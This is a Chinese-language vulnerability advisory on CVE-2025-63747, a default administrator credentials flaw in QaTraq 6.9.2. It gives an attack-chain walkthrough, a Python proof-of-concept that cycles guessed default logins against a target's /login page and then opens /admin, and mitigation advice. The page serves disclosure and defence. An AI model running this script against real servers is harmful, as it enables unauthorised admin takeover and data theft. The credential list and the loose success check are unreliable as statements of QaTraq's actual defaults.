IPBUF安全漏洞报告
English
CVE-2025-63747 CVSS 9.8 严重

CVE-2025-63747 QaTraq 6.9.2 默认管理凭证漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-63747
漏洞类型
默认凭证/弱密码
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QaTraq

相关标签

CVE-2025-63747默认凭证弱密码身份认证绕过QaTraqWeb应用漏洞CRITICAL级别无需认证即可利用管理后台暴露测试管理工具

漏洞概述

CVE-2025-63747是QaTraq 6.9.2版本中存在的一个严重安全漏洞。该漏洞源于软件在默认安装过程中启用了预设的管理账户凭证,导致任何能够访问Web应用登录页面的用户都可以使用这些默认凭据直接登录系统并获得完整的管理员权限。QaTraq是一款广泛应用于软件测试管理的工具,常被部署在企业内部网络中管理测试用例、缺陷跟踪等工作流程。由于该管理账户在默认配置下默认启用且凭证固定不变,攻击者无需进行复杂的暴力破解或社会工程攻击,仅需尝试常见的默认用户名密码组合即可成功登录。这种设计缺陷使得攻击门槛极低,任何能够访问登录页面的互联网用户或内部网络用户都可能成为潜在攻击者。成功利用此漏洞后,攻击者可获得系统的完全控制权,进而访问敏感的测试数据、客户信息、项目文档等机密数据,甚至可能以此为跳板进一步渗透企业内部网络。

技术细节

QaTraq 6.9.2在软件安装过程中会创建一个默认的管理员账户,该账户的用户名和密码在代码或配置文件中硬编码,攻击者可以通过分析软件源码或公开的默认凭证列表获取这些信息。由于该账户在系统初始化时自动创建且默认处于启用状态,攻击者只需构造标准的HTTP POST请求,将获取到的默认用户名和密码提交到登录接口(通常为/login或/admin路径),服务器验证通过后便会返回包含会话Cookie或Session ID的响应。攻击者利用该会话即可绕过身份认证直接访问管理后台,进而执行任意管理操作,包括但不限于:查看和导出所有测试数据、创建新管理员账户、上传恶意文件(可能触发远程代码执行)、修改系统配置、访问其他用户敏感信息等。整个攻击过程无需任何特殊工具或复杂技术,仅需基本的HTTP请求知识和默认凭证信息即可完成。

攻击链分析

STEP 1
步骤1
识别目标:攻击者通过扫描或情报收集确定目标系统中运行着QaTraq 6.9.2
STEP 2
步骤2
定位登录页面:访问Web应用的登录端点,通常为/login、/admin或根路径
STEP 3
步骤3
获取默认凭证:攻击者通过公开的漏洞数据库、源码分析或默认凭证列表获取QaTraq的默认管理账户和密码
STEP 4
步骤4
构造登录请求:使用获取到的默认用户名和密码,构造HTTP POST请求提交到登录接口
STEP 5
步骤5
绕过认证:服务器验证通过后返回会话Cookie,攻击者获得已认证的会话
STEP 6
步骤6
访问管理后台:利用会话Cookie直接访问管理面板,无需再次认证
STEP 7
步骤7
权限滥用:攻击者可执行任意管理操作,包括数据窃取、文件上传、权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63747 PoC - QaTraq 6.9.2 Default Credentials This PoC demonstrates how to exploit the default credentials vulnerability in QaTraq 6.9.2 to gain administrative access. """ import requests import sys from urllib.parse import urljoin def exploit_qatraq_default_creds(target_url): """ Exploit CVE-2025-63747 by using default credentials """ # Common default credentials for QaTraq default_credentials = [ {'username': 'admin', 'password': 'admin'}, {'username': 'admin', 'password': 'qatraq'}, {'username': 'administrator', 'password': 'administrator'}, {'username': 'admin', 'password': 'password123'}, {'username': 'qatraq', 'password': 'qatraq'}, ] # Target login endpoint login_url = urljoin(target_url, '/login') print(f'[*] Target: {target_url}') print(f'[*] Login URL: {login_url}') print(f'[*] Testing default credentials...') session = requests.Session() for cred in default_credentials: try: # Prepare login request login_data = { 'username': cred['username'], 'password': cred['password'], 'Login': 'Login' # Common form submit button name } # Send login request response = session.post( login_url, data=login_data, timeout=10, allow_redirects=True ) # Check if login successful if response.status_code == 200: # Check for indicators of successful login if 'admin' in response.text.lower() or 'logout' in response.text.lower(): print(f'[+] SUCCESS! Valid credentials found:') print(f' Username: {cred["username"]}') print(f' Password: {cred["password"]}') print(f'[*] Session Cookie: {session.cookies.get_dict()}') # Try to access admin panel admin_url = urljoin(target_url, '/admin') admin_response = session.get(admin_url) if admin_response.status_code == 200: print(f'[+] Successfully accessed admin panel!') return True except requests.RequestException as e: print(f'[-] Error testing credentials: {e}') continue print('[-] No valid default credentials found') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python3 {sys.argv[0]} <target_url>') print(f'Example: python3 {sys.argv[0]} http://vulnerable-server:8080') sys.exit(1) target = sys.argv[1].rstrip('/') exploit_qatraq_default_creds(target)

影响范围

QaTraq < 6.9.2 (potentially all versions with default credentials)
QaTraq 6.9.2

防御指南

临时缓解措施
在厂商发布官方修复版本之前,建议采取以下临时缓解措施:首先,立即更改所有默认账户的密码为强密码;其次,通过网络层访问控制(如防火墙规则或IP白名单)限制管理登录页面的访问,仅允许授权的管理人员IP访问;最后,启用登录失败锁定机制,防止攻击者进行暴力破解尝试。如果业务允许,可暂时禁用Web管理界面,通过本地方式管理QaTraq系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表